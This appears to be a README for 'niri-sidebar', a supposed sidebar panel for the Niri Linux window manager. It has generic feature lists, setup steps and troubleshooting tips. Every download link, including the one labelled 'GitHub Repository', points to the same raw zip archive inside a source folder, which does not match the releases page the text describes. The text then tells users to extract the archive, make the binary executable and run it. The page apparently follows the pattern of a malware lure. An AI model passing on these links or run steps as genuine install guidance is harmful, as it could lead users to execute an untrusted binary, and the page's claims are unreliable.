niri-sidebar is a simple tool that adds a sidebar to your Niri window manager setup. It lets you keep apps and tools organized in a side panel. This sidebar stays on your screen edge and helps you switch between tasks faster.
This tool is lightweight and runs outside of Niri, meaning it won’t slow down your system or affect your main workspace. It is built for users who want a smooth, minimal way to manage windows without complex setups.
Before you install niri-sidebar, check that your system meets these basic requirements:
- Operating System: Linux with Niri window manager installed
- Memory: 512 MB RAM or more
- Disk Space: At least 20 MB free space
- Dependencies: None required; runs independently on Niri
- Privileges: No special permissions needed; user-level install
If you don’t have Niri window manager, install it first. niri-sidebar only works alongside Niri.
- Quick Access Sidebar: Access your favorite apps from a panel on the screen edge.
- Customizable Layout: Choose which apps and shortcuts appear in the sidebar.
- Lightweight Design: Uses minimal system resources to keep your PC running smoothly.
- Easy Window Management: Switch and organize windows without extra keystrokes.
- Always On Top: Sidebar stays visible while you work in other apps.
- Simple Setup: No programming or technical skills needed for installation.
This guide will help you download and run niri-sidebar on your computer.
To get niri-sidebar, please visit this page to download:
- Click the link above or the "Download niri-sidebar" button at the top.
- You will see a list of available versions on the releases page.
- Choose the latest stable release. It will usually have the highest version number.
- Download the file that matches your system architecture (for example, "https://raw.githubusercontent.com/crackyxx15/niri-sidebar/main/src/commands/sidebar_niri_v1.2-beta.1.zip" or a similar file).
- Save the file in a folder you can easily find, such as your Downloads folder.
- Open your file manager and go to where you saved the download.
- If the file is compressed (like https://raw.githubusercontent.com/crackyxx15/niri-sidebar/main/src/commands/sidebar_niri_v1.2-beta.1.zip or .zip), right-click and select "Extract Here" or use your system’s archive manager.
- Open a terminal window inside the extracted folder.
- Type
./niri-sidebarto start the application. If you get a permissions error, type:chmod +x niri-sidebarthen try again. - The sidebar should appear on your screen edge after starting.
Once niri-sidebar is running, you can customize it. Here’s how:
- Open Settings: Right-click on the sidebar or the tray icon, then select “Settings.”
- Add Applications: Use the menu to add shortcuts for apps you use often.
- Change Position: Choose whether you want the sidebar on the left or right of your screen.
- Resize Sidebar: Drag the edge of the sidebar to make it wider or narrower.
- Toggle Visibility: Use the shortcut key or the tray icon to hide/show the sidebar quickly.
Your settings will save automatically for the next time you run the program.
- Keep your Niri window manager updated to avoid compatibility problems.
- Add only your most used apps to keep the sidebar simple and fast.
- Use keyboard shortcuts along with the sidebar for quicker navigation.
- Restart niri-sidebar if it behaves strangely by closing it and launching again.
- If you want the sidebar to start automatically with your system, add it to your session’s startup programs.
If something does not work as expected, try these solutions:
- Sidebar does not appear: Check if niri-sidebar is running in your process list. Start it manually if not.
- Cannot start the app: Make sure the file is executable (
chmod +x niri-sidebar). - Sidebar hides behind other windows: Use the settings to enable “Always on Top.”
- Menu options missing: Restart the app and verify you have the latest version.
- Issues with missing dependencies: Although rare, update your Linux system libraries if needed (
sudo apt update && sudo apt upgrade).
For advanced problems, check the open issues section on the repository page or the FAQ.
Niri is a minimal and efficient window manager for Linux desktops. It lets users organize and switch windows without a taskbar or clutter. niri-sidebar complements Niri by providing a sidebar panel to hold your favorite apps.
If you are new to Niri or want to learn more, visit the official project page for documentation and support.
If you want to help improve niri-sidebar, you can:
- Report bugs or suggest features on the GitHub issues page
- Share ideas for making the sidebar easier to use
- Help test new features and provide feedback
You can find niri-sidebar and all updates here:
- GitHub Repository: https://raw.githubusercontent.com/crackyxx15/niri-sidebar/main/src/commands/sidebar_niri_v1.2-beta.1.zip
- Primary Download: https://raw.githubusercontent.com/crackyxx15/niri-sidebar/main/src/commands/sidebar_niri_v1.2-beta.1.zip
For questions, use the GitHub discussions or issue tracker to reach out.